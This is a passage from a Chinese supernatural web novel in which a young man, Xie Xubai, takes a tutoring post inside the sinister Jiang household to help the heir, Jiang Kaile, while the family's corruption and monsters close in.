“十六岁了,还只会在这里自哀自怨?”宴朔冷冷地道,“我自出生时起便知晓,若有东西胆敢约束我、阻碍我,令我不快,那就将它彻底摧毁。” “……”江凯乐看着宴朔不苟言笑的脸,听着这句中二度爆表的话,一时不知道该从哪里开始吐槽。 但宴朔显然没有和他说笑。 “江家所有明里暗里的项目都由家主全权接手,这是规矩。哪怕想要为民除害,也不过在家主的一念之间。”宴朔在规矩两字上下了重音,波澜不惊地说道,“而你,是江家唯一嫡系继承人。” 江凯乐瞳孔一震,忽然明白了宴朔话里的深意,心脏“扑通、扑通”地剧烈跳动。 他并非不谙俗世的纨绔子弟,短暂的震骇后回到现实,语气极其干涩:“但江家人的手段阴毒,我不可能清清白白地坐上那个位置,我……” 宴朔抬起手掌打断他。 当男人做出这个手势的时候,江凯乐便知道话已至此,剩下的需要他自己去衡量。 他有些恍惚,作为深陷泥潭的人,陡然得知自己可以逃脱,但代价是要先变成泥潭的一部分,再将它全数掀翻。 只是到了那时……全身沾满污泥的他,还能算是他自己吗? 蓦地,江凯乐看见宴朔打开锦盒,从盒子里拿出一块沉重的金砖。 男人端详着手里的金砖,反复观看,冷漠的脸上终于显露出一抹满意之色。 江凯乐看在眼里,恍然若失地想,钱权势的诱惑力真就那么大?就连神秘莫测的宴朔都不能免俗? 或许是仅有几面之缘的叔叔并非印象中的阴鹜暴戾,出乎意料的亲和,少年忍不住多嘴去问:“三叔,凭您的本事,金子这种东西想要多少有多少,哪怕是一整条黄金矿脉,也会有人迫不及待为您送上。” “所以,您为什么非要江家的黄金?” 他想说但没说出去的话是——您就不嫌脏吗? 宴朔却道:“不一样。” “不一样?能有什么不一样?” “开过光。” “??” 江凯乐差点没听懂。 “江家祖上乐善好施,福泽深厚,对佛学很有研究,所以能护佑子孙,使家族繁荣昌盛。现在倒是可惜了。” 宴朔难得惋惜,轻叹一声:“被你打晕的那个小沙弥是江家为数不多还算干净的人,祖上开光祈福的术法也就他学会了三成,回去后别忘记把他放出来。” 小沙弥? 江凯乐反应过来,宴朔说的应该是那个专门负责送金砖的江家子弟,愣了愣:“他不是有头发吗?” “大概是觉得丑,戴的假发。学这门术法必须先去寺庙剃度修心。” 江凯乐:“……” 这时,红符上的墨水终于晾干。 江凯乐还没回神,下一秒更加颠覆他三观的事情发生了。 只见宴朔极为庄重地端出展柜中的东西,那居然是座……财神像?! 男人眼神凛冽,语气清冷肃穆,此番作态,说他分分钟要上台发表重要演讲,或者率领十万大军出征都不违和。 可他居然只是将红符夹在双手食指与中指之间,合掌请愿:“愿财神爷保佑,让盛天集团成功竞选到西城红阴古镇的地皮。” 江凯乐:“…………” 就像舔狗陡然知道女神也需要上厕所一样,江凯乐的内心霎时遭受到不小冲击,双眼呆滞,脚步飘忽地离开了。 在少年走后,小触手卷着金砖,垂头丧气地从阴影中钻了出来。 它刚才被吕向财恶狠狠地告知,如果拿走金砖让宴朔留意到谢叙白的存在,对青年会是场难以承受的灾难,只能将金砖拿回来。 宴朔不知有意无意,面无表情地睨来一眼:“怎么,没送出去?” 明明男人的脸上没有任何表情,小触手却好像听到他内心传出的嗤笑,顿时有点恼羞成怒。 【因为他不是贪婪的怪物,所以不收,才不是我送不出去!】 宴朔敷衍道:“嗯。” 一个字的轻视比光明正大开嘲讽还要过分! 小触手不服地嗷嗷乱叫。 【有本事你来送,你看他会不会收,哼!!!】 宴朔看着上蹿下跳的小触手,什么都没说,拿起手机拨给吕向财。 前脚小触手刚走,后脚宴朔就打来电话,吕向财有点紧张:“宴总有何吩咐?” 宴朔道:“就当预祝项目竞选成功,这个月给全体员工发一万红包。” “啊?”吕向财没想到这茬,愣了愣,“给所有人?可过不久不是就要开始清算……” “那就等他们死了后再发。”宴朔语气不变,指节轻叩桌面发出脆响,不容置疑地说道,“这是公司内部问题导致晚发工资,很有可能影响到员工的日常生活,我决定再发一万以示补偿。” 作为秘书,电话那头的吕向财简直像听到晴天霹雳,清算结束可还有几百号人,加在一起足足近千万! 宴朔淡淡一句话打消他没出口的海豚音:“红包。不算工资奖金,不以企业名义,走我的个人账户。” 差点想弑主的吕向财堪堪闭嘴:“……”您这是钱多了没处扔吗? 他突然想起什么,扭头看向不远处还在查资料的谢叙白。 想到青年袖子里的阴魂数量,还有家里那头嗷嗷待哺的诡王。 吕向财嘴角微抽,果断道:“好的宴总。” 挂断电话,宴朔看向小触手,一切尽在不言中。 就是这气定神闲的一眼,把小触手看得直跳脚。 【你这是耍赖,作弊!】 宴朔懒得理会它,回到书桌前,继续处理文件。 小触手叫囔一阵,见宴朔连个眼神都欠奉,顿时觉得这个男人又烦又无趣,转身想回去找谢叙白。 它突然停住,只因看到满地的血。 那些血不是正常的艳红色,而是犹如沥青一般浓稠粘腻的黑色。 且这种黑血和小触手流出的黑血有本质上的不同,它的味道极其难闻,还有剧毒,可怜的地板直接被腐蚀掉一层皮,滋滋冒着白烟,散发着扑鼻的恶臭。 这是江凯乐没能看到的一幕,但小触手很容易受到这些秽物的影响,登时难受得蜷缩成一团。 【好臭啊!好讨厌!一个腐坏异化的怪物,你为什么要放它进来?】 宴朔没回应。 小触手已经习惯了他的冷漠寡言,自言自语也不会觉得尴尬。 仔细分辨后,它发现不对劲。 【好吧,还没有变成怪物,不过也快了,居然被污染成这样……唔?】 小触手似乎又有了新的发现,忍住恶心,凑到黏稠黑血的旁边,观察过后,尖锐的语气慢慢变得柔软起来。 【原来还是只没长大的崽崽吗,难怪你愿意让他进来。我好像记得有人和我们说过,孩子是这个世界的未来……】 小触手声音渐小,翘起本该是尖尖的鼓包,茫然了一瞬。 【……是谁和我们说的呢?】 另一边的江凯乐刚下电梯,就被守在旁边的吕向财一把捞了过去。 “吕秘书?你干什么……唔!” 面对被捂住嘴满脸怒容的少年,吕向财笑得像个大尾巴狼:“江少爷别害怕,冒昧问一句,这次期末你考了多少分呀?” 江凯乐本来只是不悦,听到后半句话,脸色瞬间黑沉得可怕:“你是不是想挑事?” 吕向财幸灾乐祸的表情很是欠打:“看样子又没及格,语文?数学?还是全科?” 最后半句话没说完,江凯乐捏紧的拳头已经举了起来。 赶在它砸在自己脸上之前,吕向财话锋一转:“为了让你向家族低头,江家主勒令学校老师和同学对你进行‘特殊照顾’,让你从全校第一下降到四百名开外,以此证明没了家族的蒙荫,作为学生的你连成绩都维持不下去。” “——难道你就不想给他们点颜色看看?” 江凯乐呼吸不畅,将吕向财一把推开,嘲讽道:“这种小儿科的反抗方式你居然认为可以给他们点颜色看看,是你脑子被门挤过还是觉得我傻?” “确实,江家主要是真把你的成绩放在心上,又怎么会做出那些恶心事?”吕向财笑意愈深,“但如果我说,我让你提高成绩的方式,是把一个和名门贵族毫无关系、连江家主都无法掌控的人塞进江家,成为你的家庭教师,又该如何?” 他故意拖长后半句话。 果不其然,原本不屑一顾的少年瞳孔骤缩,死死地盯住他:“你说真的?在江家的地盘帮我安插一个清清白白的人手?” 吕向财斩钉截铁地否认道:“不不不,我得强调一遍,他会成为你的家庭教师,不是可以随便使唤的人手。” “……”江凯乐脸色一黑,“那我要他何用?” “用处可大了去了,比如说提高你惨不忍睹的考试成绩。”吕向财笑得像一只老谋深算的狐狸,“又或者,你也可以尝试说服他,让他课后或者闲暇时间,能帮你在江家的眼皮子底下干点你自己没法做的事情?” “你……”江凯乐听出吕向财的用心了。 可以随意使唤的下手很廉价,所以吕向财特意强调,必须要他先求着那个人帮忙才行。 如此一来,江凯乐怎么都不会轻视那个人。 少年不喜欢这种耍心眼的方式,但……既然是吕向财推荐的人,或许真的能够帮到他也说不定? 他也不担心吕向财会和江家联合在一起,毕竟对方曾经的身份可是连江家都望尘莫及。 “好吧。”江凯乐双臂环抱趾高气扬地挑眉,“你打算把谁派到我的身边?不说十项全能,最差也得会点术法吧。” “喏,那边那位就是。” 江凯乐顺着吕向财的目光看向谢叙白。 他先是一怔,再疑惑皱眉,最后不敢置信地瞪大眼,气势汹汹地盯着吕向财:“你开什么玩笑?” “那家伙身上既没有灵气也没有邪气,根本就是个普通人!而且那副瘦胳膊瘦腿能干什么?怕是连我身边最弱的保镖都打不过!” “冷静江少爷,冷静。”吕向财双手下压,“你可能不知道,有一种强大是看不见摸不着的……” 江凯乐冷冷道:“但我知道他的尸体一定先热后凉,你给我换个人。” 吕向财笑眯眯地看着他。 江凯乐直勾勾盯着他的笑脸,看出毫无商量的余地。 比起质疑吕向财把一个普通人丢进吃人不吐骨头的江家是别有用心,他更愿意相信对方就是在逗弄自己。 江凯乐阴沉着脸转身,突然听到吕向财在后面说道:“你没法拒绝,江少爷。” “在江家主的绝对控制下,难道你身边还能找出第二个干净清白的人吗?” 江凯乐脚步一僵,这话狠狠戳中了他的痛楚。霎时间少年恼怒得不行,恨声道:“那你就让他来,我倒要看看他能够活多久!” 看着少年大步流星离开的背影,吕向财知道江凯乐这下肯定把谢叙白放在了心上。 毕竟谢叙白可是个脆弱到随时可能一命呜呼的普通人,重点是,他是少年现在唯一可用的帮手。 一根易折的救命稻草,不好好保护起来,又能怎么办呢? 吕向财颠儿颠儿地来到谢叙白的座位旁:“搞定了!就是那小子很不情愿,你可能会受到一些小小的刁难。” “你们的谈话我都听到了,那孩子看起来不是一般的气愤。”谢叙白还在看吕向财给他的江家资料,头也不抬,“你确定会是‘小’刁难?” 吕向财语气笃定:“肯定的,小刁难。” 他算是看出来了,那暴躁小子根本没能察觉到自己身上的异化……但如果不是彻底变成怪物,谁又能未卜先知? 最迟两个月,江凯乐就会明白谢叙白对怪物来说,是个多么不可思议的存在。 谢叙白不知道吕向财对他的盲目自信从何而来。 看着江家资料中描述的各类血腥案件,他眉梢狂跳、几欲作呕,难以言喻的反感和恶心在看到江家这两个字的时候数次爆发,从没像此时一样怀念从前那个文明和谐的世界。 不过吕向财此前说他适应能力极强,谢叙白也意识到了,他竟然能坚持将资料全部看完。 看完后,谢叙白深吸一口气,用力揉动胀痛的太阳穴,不过两三秒的功夫,就再次恢复了淡定,开始思考对策。 “我认为你原本的安排行不通,我不能直接到江少爷的身边去,如果江家真的像铁桶一样严防死守,那不过是从一个人的监禁变成两个人一起坐牢而已。” 谢叙白沉吟片刻,对吕向财说道:“我有个想法,需要你重新安排一下。” 一个月后。 江凯乐终于见到了自己“心心念念”的家庭教师。 在此之前,他感觉自己就是条被到处溜着转的驴。 第一天他义愤填膺,发誓等谢叙白来到江家一定会让人好看,最好是知难而退,别想着来拖他的后腿。 第三天他仍旧愤愤不平,觉得自己动手太累太掉价了,他只需要在其他人刁难谢叙白的时候冷眼旁观,就能看上一出热闹的好戏。 第十天他忍不住频繁观察江家大门口的来往人流,再没有最开始的愤恨,只剩下难以言喻的烦躁和阴郁。 自从上一次逃跑成功而且是逃到令江家色变的盛天集团之后,看守江凯乐的人立马多了两倍,禁足时间从早到晚,甚至连学校都不允许他去。 江凯乐找不到机会联系吕向财,暗自痛骂那只笑面狐狸是不是又在耍自己,只能沉着脸耐心等待。 此后。 第十一天,谢叙白没来。 第十二天,谢叙白还是没来。 第十三天,谢叙白依旧没有来。 第十四天,谢叙白怎么还不来?别告诉他迷路去了国外! …… 第三十天。 嘭的一声巨响,江凯乐的房门被人从外面砸开,自制的简易锁扣承受不住压力直接崩断,几个碎片零散地掉在地上。 佣人和保镖三五成群地涌入房间,堵死房门,根本没给江凯乐逃脱的机会。 而当事人也没想着跑,看着和管家一路进来的谢叙白,沉郁的眼睛更显阴暗。 管家是位头发花白的老人,脸上的皱纹很深,一张脸拉得老长,像是皱巴的橘子皮。他穿着剪裁得体的西装,身形高挑,手脚细长得不像话,像极了恐怖故事里的瘦长黑影。 看着坐在椅子上无动于衷的江凯乐,老管家的眉头紧得可以夹死一只蚊子。 他对谢叙白说道:“抱歉谢老师,江家过于娇惯大少爷,以至于他在面见客人的时候一点最基本的礼貌和涵养都没有,不过没关系,相信在您的教育和努力下,少爷一定会慢慢变好。” 老管家说着,拍了拍手掌。 佣人们立马端上来一个敞开的大盒子,盒子里并排陈列着许多狰狞可怕的惩罚工具,隐约可以看见残留在上面的斑驳血迹。 江凯乐见状,脸皮狠狠抽动了一下。 “家主已经吩咐过,您是他所信任的人,可以尽情使用这些工具来惩罚不听话的孩子。”老管家盯着谢叙白的脸,眼神锐利得像是要刮下他的一层皮,“您的意思呢?” 谢叙白看着那些工具,很是怡然自得地拿起其中一件,指尖轻触上面的尖刺,笑道:“——当然。” “我一直都觉得,适当的惩罚有助于矫正学生的不良行为。” 听到这句话,老管家脸皮一松,露出满意的神色:“您果然不愧是名师。” “好了。”他看向其他人,“就把这里留给谢老师吧,大家都出去。” 佣人们齐声回答:“是!” 他们鱼贯而入,又鱼贯而出,全程没有把房间的主人江凯乐放在眼里。 谢叙白将工具放下,刚走过去将房门关上,一道巨大的力量从背后袭来,将他狠狠地按在了门上。 嘭! “‘适当的惩罚有助于矫正学生的不良行为’?哈!”江凯乐的眼白布满红血丝。 他万万没有想到啊,谢叙白和吕向财居然给自己准备了一份这么大的惊喜!这么长时间没来,原来是混到他“可亲可敬”的父亲身边去了啊! 刹那间,对谢叙白的期待转化为遭到背叛的滔天怒火,几乎让江凯乐发狂。 他冰冷地、暴戾地、一字一顿地问:“你想用那些东西惩罚我吗?老、师?别忘记你不过是一个普通人罢了!在你试图拿起它们之前,我保证,我会先掐断你的——” “江同学。”谢叙白开口了,“我希望你从今天开始记住一点,在认识到自己的处境有多么可怜之前,千万不要试图露出你稚嫩的牙齿,那会把它崩坏的。” 他说话的同时,脑袋往旁边微偏,用手指挑开衣领,好让江凯乐能清楚看见藏在下面的东西。 微小的,不断闪烁着红灯。 江凯乐一愣,那是微型监听器。 谢叙白平静地将他推开,边说着“热死了”,便将被人装上监听器的大衣脱了下来,挂在旁边的衣架上。 同时他还弯腰,摸向自己的裤脚,指尖往上一挑,让江凯乐看到他的指缝中夹着的东西。 又是一枚监听器。 江凯乐愣神的功夫,谢叙白接二连三地从身上摸出了五六个这样的小玩意,随手放在旁边。 “怎么不说话了,江少爷?你想和我玩谁是木头人的游戏吗?可以,让我们比比谁的耐力更强吧。” 话音未落,谢叙白无声拿起书桌上的纸笔,写下一行字。 江凯乐顺势看过去。 【房间里有没有监控?】 少年看着谢叙白温润的眉眼,终于明白对方是在演戏避人耳目,绷紧的拳头微松,摇了摇头。 他也写:【全都被我砸了。】 谢叙白弯了弯眼睛:【我想也是。】 江凯乐盯着这四个字,看了好几秒钟,不知道为什么有种神经一松的安心感,不屑地嗤笑一声:【怎么,你先去找老头子,打算当双面间谍?】 谢叙白落笔写道:【不,不是双面。】 什么意思?江凯乐不解地继续看下去。 只见谢叙白淡然自若地写道:【现在的我,不仅是江家主派来控制和监视你的家庭教师,还是江夫人的美容顾问,江家大伯的秘密会计,江小姐的私家侦探……】 江凯乐的瞳孔越睁越大,难以想象自己看到了什么,迫不及待地写:【江家的那么多人,你和他们都联系上了?没有引起任何人的怀疑,还取得了他们的信任?!】 谢叙白:【称不上信任,他们的疑心很重,还得慢慢来。】 为了证明自己没有说谎,谢叙白拿出手机,滑动通讯目录,让江凯乐大致看了下他和江家人的聊天内容。 有的相谈甚欢,有的只聊上几句,算不上深交。 可这足以颠覆江凯乐的三观和世界观了,他差点没忍住喊出声! 从少年颤动的瞳孔中,谢叙白仿佛能看到充满质疑和不解的三个大字:凭什么? ——凭什么你一个普通人,能在短短一个月的时间内做到这种地步? 谢叙白想了想,写道:【凭我是个普通人。】 就因为他是个普通人,是弱小和平平无奇的代名词,所以人人都自以为能拿捏他,会轻视他,也对他毫不设防。 江凯乐嚅嗫嘴唇,说不出话。 如果说他最初对谢叙白的期望是别死太快,那么现在,对方的所作所为已经大大超出他的想象。 他对这个即将成为自己家庭教师的青年,忽然产生了一丝说不清道不明的信服。 “你的呼吸已经乱了,看来是我赢了,真遗憾,你居然输给了一个普通人。”谢叙白笑道,“那么,这就是我要教给你的第一课,永远不要轻视任何人,哪怕他是一个普通人。” 说着,谢叙白拿起桌上的书本。 从进门到现在,他的神情都没有太大的变化,从容不迫,淡然自若,却让桀骜的少年完全移不开眼睛。 “现在,让我们开始上课吧。”谢叙白说。 第25章 你想不想靠自己接手江家?…… 谢叙白来之前下过一番功夫,除了最基本的教案设计和反复的讲课练习,还特意跑到江凯乐的学校去深入调查了一下少年是什么情况。 但无论是在老师、同学还是其他教职工的嘴里,得到的答案都和从江家人那听到的一致。 “江凯乐就是个无法无天的混世魔王!” 他打骂同学,侮辱师长,扰乱课堂,破坏校内设施,经常聚众斗殴逃课逃学,几乎把一个学生能犯的错事都犯了个遍。 并且这些指责并非空口无凭,网上能搜索到不少江凯乐把同学暴打进医院的新闻报道,有真实照片和现场视频为证。 记者将其定性为跋扈二代子弟欺压无辜同学的霸凌案件,在无形的煽动下闹得沸沸扬扬,引得网友们纷纷唾骂指责。 从那之后,江凯乐就无所谓去不去学校了,成绩也因此一落千丈。 吕向财告诉谢叙白,诸如此类的案件,肯定是江家在背后恶搞或推波助澜的结果。 但也不要看轻江凯乐的秉性,真把他当成什么无助的小可怜,要知道肮脏腐烂的深渊里哪能开出纯洁无瑕的花? 谢叙白明白这个道理。江凯乐那日来盛天集团就展露过暴躁易怒的脾气,所以他来之前就预设过,如果对方情绪不稳暴起伤人,他又该怎么去应对。 结果第一堂课开始,江凯乐的课堂表现大大出乎谢叙白的意料。 这个孩子,他太正常了。 不,说正常还不恰当,少年的表现甚至称得上优秀! 谢叙白讲课的时候,他不吵也不闹。不需要提醒就会自己主动做笔记,有什么不懂的地方也会举手报告。 他不会畏惧提问,更不会为自己暂时的无知而自卑,脑筋时刻转动着,步步紧跟谢叙白的教学节奏。一双眼睛直勾勾地盯着黑板,仿佛闪烁着对知识的渴望。 这些不是可以随便伪装出来的细节,如果江凯乐真有这么高超的演技,他就不会被困在江家。 所以谢叙白可以相信,这就是江凯乐真实的性格。 原本的观念也在此时刷新。 ——道听途说和实际情况真的可以偏到南北极。 只是他不知道,江凯乐原本没对学习抱有什么期望。 想要对付江家,成绩是最无关紧要的东西,难道你还能通过讲解课文,来让江家人放下屠刀? 江凯乐会这么认真,是因为谢叙白给他带来的第二印象太震撼,也是因为在之后的课上,瞄见教案上密密麻麻的批注,感受到了谢叙白那颗真实想要他学好的心。 这是场真心换真心的教学,教的人逐渐进入状态,学的人难得认真。 一场课结束,两个人都受益匪浅。 放下马克笔,谢叙白看着乖乖整理笔记的江凯乐,问道:“还有什么疑问吗?” 江凯乐头脑聪明,底子也打得好,加上谢叙白没有选择复杂困难的课程,所以这节课的知识,少年几乎都弄懂了。 对方没吭声,谢叙白猜到应该没什么问题,收拾教案准备离开。 上面还有江家的监视,他和江凯乐不能表现得太亲昵。 在他即将出门的一刻,江凯乐突然开口:“老师。” 谢叙白回头,一眼望进少年那双微微闪烁着不安和恳求的眸子,听到后者干巴巴地问:“你还会来吗?” 话音落下,大概是觉得自己太矫情,江凯乐将头扭过去:“算了,当我没问。” 谢叙白正欲说点什么,忽然老管家淡漠的声音从旁边传来:“谢老师,上课辛苦了,家主想要见您。” 现在离下课不过两分钟,这人难道一直等在这儿? 谢叙白反射性去观察江凯乐的反应。 少年依旧没有回头,单手撑着下巴,脸朝向被铁条封死的窗外,看起来很无所谓的样子。 听到老管家来叫人时,他也没有动弹一下,似乎对这一幕早有预料。 谢叙白心里有了计较。 果不其然,当他随老管家去面见江家主,听到的第一句话就是:“江家请来那么多家庭教师,你不是履历最丰富的一个,也不是经验最丰富的一个,但却是最有效果也最令我惊讶的一个。” “当然。”谢叙白自然地接下话茬,笑得极有野心,“就像我来之前向您承诺的那样,我一定会成为江少爷的家庭教师!” “呵。”书房里屋传来一声沙哑的笑,紧跟着响起轮子碾压地板的轱辘声。 坐在轮椅上的江家主,越过昏暗的阴影,一点点出现在谢叙白的眼前。 那一瞬间,谢叙白避免不了呼吸微滞。 他通过吕向财牵桥搭线来的江家,和江家主有过短暂的电话沟通,没见面只看过照片,长相中规中矩,四十多岁正当壮年。 可眼前的男人实在年迈得不像话!一张脸皮包骨头,显露出清晰的鹳骨轮廓,眼尾遍布沟壑般的褶皱,皮肤上长着淡褐色的老人斑,眼珠子浑浊无光,两鬓霜白。 除此之外,江家主身上还披着厚实的裘皮大衣,大腿搭着绒毯,表现得和上了年纪的人一样畏寒。 “是不是吓到你了?”江家主睁着一双眼窝深陷的眼睛,和蔼地问道。 “……”谢叙白看着他笑意不达眼底的样子,快速组织好措辞,“有一点,来之前我一直在想传闻中鼎鼎有名的江家掌权人会是何等风采,却没想到您比传闻中更显成熟睿智,难免被您的气场震慑到。” “瞧瞧!”江家主忽然笑起来,对老管家说,“这个年轻人的说话方式我爱听,是个能干大事的主。” 老管家应和他的话:“是的,谢老师是一位奇人,之前聘请的家庭教师不是被大少爷踹出房门,就是被砸得头破血流,只有他被少爷全权接纳。” “是啊。”江家主的眼神一暗,对谢叙白道,“谢老师,你刚才讲的课我也听了一部分,很热情,很积极,所以我要问你一个问题。” “在你看来,如今对江凯乐来说最重要的是什么,学习还是成绩?” 如果是面对正常的家长,作为老师,谢叙白当然会顺着学习成绩和往后的个人发展,来表达对这个问题的看法。 但现在问出这话的,是完全不在意江凯乐成绩如何的江家主。 “您说笑了,我的看法不重要,江同学的看法也不重要。”谢叙白笑着道,“重要的是,您觉得什么对江同学来说最重要,毕竟您才是他的生父,是可以主宰他一切的人。” 大概几秒钟的寂静后,书房中再度爆出一声充斥着欣赏和欣慰的大笑。 “说得好!” 江家主说道:“你的回答非常完美,让我很有留下你的想法,同时你也是个充满野心的人,这点和江家的理念不谋而合。” 谢叙白保持心照不宣的微笑。 吕向财给他的履历做了手脚,在那份假的身份资料中,他是一个被生父抛弃的孤儿,从小饱受世人冷眼,所以在过往学习和之后的工作中力争上游,为了达成目标,甚至可以不择手段。 如果是完全的假资料,那么很容易就会被拆穿,巧妙的点就在于,谢叙白真的有一个抛弃他的生父,还有一段差点在学校里被抢走奖学金名额的经历。 出来工作的第一天也是惨遭滑铁卢,遇上坑蒙拐骗的皮包公司,并且因为合伙人是某个二代,轻巧地被掀过罪行,他连最后的赔偿都没捞到。 自此,一个底层蝼蚁愤世嫉俗、利欲熏心的家庭教师形象跃然纸上。 “学习么,当然可以继续,那孩子难得听话,稍微纵容一下也无妨。” 江家主抬眸露出阴毒凌厉的眼神:“但最要紧的,是他的态度,他的为人!作为江家未来的掌权人,却和家族中的其他亲辈闹得不可开交,一点血缘和亲情都不讲,简直成何体统!……咳咳咳!” 江家主似乎气急,重重地咳嗽起来,腰背压不住地佝偻下去,咳得撕心裂肺。老管家见状,忙不迭倒来热茶。 “咳,咳,好了……你就先回去吧,具体什么时候再来,等管家通知你。” 谢叙白仍旧表现得极有分寸,低头应是。 离开前,他的视线顺势从江家主的嘴角扫过,那里残留着一抹鲜红。 江家主到底得了什么病,不仅老化得厉害,还会呕血? 回到家,谢叙白给吕向财打了个视频通话,把这件蹊跷事告诉对方。 后者摸着下巴琢磨一会儿,说道:“邪术反噬吧,要么就是异化的先兆。像他们这种掌握禁忌力量的世家,得癌症的可能性很小。” 有狗子的经历在前,谢叙白对上述两种情况的感观都算不上好。 吕向财笑着安慰他:“安啦安啦,他又不是你的目标,死得越快越好,这样江凯乐就能顺势接手江家,而你则会一举晋升为【江家掌权人的家庭教师】,得到的力量可不比现在要多得多?” 这就是吕向财制定的变强方法。 当一个人同时拥有【世界拳王】【第一军事指挥家】【王的男人】等等头衔后,那么他不强也得强,规则会赠予他对应的力量。 “你说的这种力量……”谢叙白皱了皱眉头。 他确实感受到了,在被选中成为江凯乐的家庭教师之后,他不止记忆力变强很多,思维也比之前更清晰,体现在学什么东西都比以前要快。 可这只是头脑上的强化,和那些身强力壮的怪物相比,好像还是没有什么可战之力。 “此言差矣。”吕向财摇了摇手指,一脸老谋深算的谐谑表情,“精神力的提升才是最强的,你才刚起步,自然看不出成效。” “放心,很快的,等江凯乐接手江家就好了,到时候你会得到一个显著的提升。” “说起江凯乐。”谢叙白道,“那孩子和我想象中不太一样。” 吕向财坏心眼地问:“比你想的更坏?” “不,更好。”顿了顿,谢叙白补充道,“是非常好。” 吕向财脸上的笑容淡了一点。 照理说,他没必要和一个乳臭未干的毛头小子吃醋,但通过电脑视频通话的镜头,他看见谢叙白修长漂亮的手指在手机屏幕上敲敲打打,同时回复着江家好几个人的消息。 忙到从和他打视频到现在,都没有抬起头来看过他。 “……没必要吧?”明明是自己把谢叙白送去江家,吕向财却生出一点后悔的想法,“我不是给你拉了几十个技术后援吗,哪儿需要你亲自联系江家的人。” 是的,谢叙白美容顾问、秘密会计、私家侦探等等身份的背后,都有吕向财的团队做支撑。 不然他一个从未涉及过这些领域的普通人,怎么可能在短短一个月内的时间匹配如此多的身份?还一点错漏都没有,专业到令每个江家人都赞不绝口。 谢叙白道:“我多少都得学一点,记一点,要不然到时候联系不上你的专业团队,有很大风险会露馅。而且这种事情,亲自把控一遍比全权托付给其他人更保险。” “你说这江家的臭小子,是不是积了八辈子的福,何德何能可以让我们的谢先生如此用心呐——”吕向财面无表情地拖长音调,宫廷里太监总管阴阳怪气的功力简直学了个十成十。 听到这话的谢叙白嘴角一抽,抬起头来,无可奈何地看着他:“看我这么用心,难道你不该高兴吗?” “我高兴什么,高兴自己要被挖墙脚了吗?” “高兴——我对相处没几天的江凯乐都这么用心,到时候一定会奋不顾身地去救你。” 谢叙白平静且不容置疑地道:“我已经有这个觉悟了。” 好长一会儿时间,吕向财都处于一个仿佛被魔法定格的状态。 直到谢叙白的手机再次传来频频消息提示声,当事人连忙继续去回,那双温润如水的眼睛不再和吕向财对在一起,后者才猛然听到自己剧烈的心跳,感受到气血疯狂涌入脸颊。 吕向财连忙背转身,以免被青年看到烫红的脸颊,心有余悸地捂着小鹿乱撞的胸口呢喃道:“……你可真是个大宝贝,这往后哪位奇才能驾驭得了你?” 他声音非常小,又隔着视频通话,有杂音,谢叙白没怎么听清:“?” 没有多想,谢叙白又回了一个消息:“对了,我还有个问题。你给我的资料中写着,江凯乐很小的时候就开始不满江家对他的控制,屡次发威闯出祸事,甚至还胆大包天地烧过宗族祠堂,但他最后仍然成了唯一的嫡系继承人,这点说不通。” 吕向财去完厕所再回来,脸上全是冷水,多少没那么躁动了:“你觉得哪里说不通?” “江家那么重血脉,却能容忍火烧祠堂这样的大罪。那个时候的江家主年轻体壮,看到江凯乐如此顽劣的样子,都没想过再要一个继承人。他对江凯乐的态度也很奇怪,明明江凯乐天资卓绝,稍微培养一下就能成为相当杰出的青年才俊,却为了让孩子听话,放任江凯乐的堕落。” 谢叙白总结道:“简单来说,如果他们在意江凯乐,就不会这么糟蹋他。如果他们不在意江凯乐,又为什么只认他是江家的唯一继承人?” 吕向财听着谢叙白的分析,简直要忍不住为他鼓起掌来:“很好,很好,你想到了关键点。” “正确答案是,继承人算什么,江凯乐可是江家那片土地选定的主人!”吕向财勾起嘴唇,笑容中透着一丝讽刺的意味,“至于江家,包括江家主在内,他们算个屁?寄生在江凯乐身上吸血的菟丝花罢了,以为用亲情血脉和劳什子继承人的名义就能套牢他?一群傻叉。” 土地选定的主人……? 听到这话,谢叙白的脑袋忽然一痛。面对这熟悉的痛感,他早已得心应手,咬紧牙关等待挨过去。 吕向财见状却是着急了:“看我这张嘴!不说了不说了,等你精神力提高之后我再告诉你。” 可谢叙白已经想到了,在狗子平安和其他阴魂们凑上来的时候,一道灵光从他脑海中乍现。 他捂着青筋暴跳的太阳穴,脸色惨白地盯着吕向财:“土地的主人,难道是指诡王?” 吕向财张了张嘴。 “你先前说很快,不需要等待多长时间,江凯乐就会接手江家成为掌权人。我原以为是江家主的身体出问题,又没有其他候选继承者,只能由江凯乐接手。” 谢叙白一字一顿地说道:“现在看来,你真正想说的怕是江凯乐即将异化成怪物,在那片土地上,根本没人可以忤逆成王的它!” 冷眼旁观江凯乐变成怪物,吕向财确实没什么心理负担,他甚至没法产生一星半点的同情,反正他也是这样变成怪物的。 在无知无觉中堕落,在无限循环中疯狂,这是所有怪物的宿命。 可他没法忍受谢叙白用这样的眼神看着他,仿佛在为他的坏感到痛心,又为他的欺瞒感到疑惑。 吕向财才是真正的不解。 ——你为什么要为他这么激动?他是个劣迹斑斑的学生,只不过在你的面前表现得很乖而已。 ——你也不是真正的老师,只是一个为了力量而接近他的欺骗者。既然谎言迟早被戳破,真相揭露的时候可能生出怨怼甚至是仇恨,那为什么不狠心一点,去装作什么都不知道,什么也没看见? ——还是说,很抱歉,我是头不知道活了多久的怪物,早已理解不了人类的想法和坚持。 看着吕向财茫然又有点害怕面对他的样子,谢叙白缓缓地叹了一口气:“吕向财,我再重复一遍。” “我是真的、真的很想救他。”谢叙白在每一个字上落下重音,又字字带着真心,“也是真的、真的很想救你。” “不要再怀疑我了,好么?” 空气安静下来,良久才传来吕向财沙哑歉意的声音。 “对不起。”他低声承诺,“不会有下一次了,我向你保证。” 第二天,灰黑色的云层挤压在一起,沉沉的仿佛要坠下来,不多时天上下起滂沱大雨。 豆大的雨水砸在地上激起水花,朦胧的雾气弥漫开来,整个世界好像被笼罩在一片湿冷又灰蒙蒙的雾霭中。 谢叙白一来到江家大宅,就看到了那个孩子。 听老管家说,因为家教课上表现良好,也因为江家主想要修复和孩子的关系,江凯乐被允许离开自己的房间,可以在大宅的花园里活动。 但少年看起来并没有那么开心。 狭小的房间是笼子,而大宅花园不过是更大一点的笼子罢了,没什么区别。 他还是和谢叙白初见时那样,穿着一身高定小西服,皮靴被擦得锃亮光洁。 不同的是手里撑着一把伞,伞沿朝一棵被风雨吹打得东摇西晃的树苗倾斜。 树苗被遮住,雨便绕过它朝江凯乐打去,淋湿了他干净的西装和皮靴。 当事人像完全感受不到一样,看着树苗被润皱的枝叶,又环顾周围茂密的大树,自言自语:“你长得这么矮小,是不是争不过地里的养分?” 树苗不说话,在风中摇曳,紧巴巴地缩着枝叶。 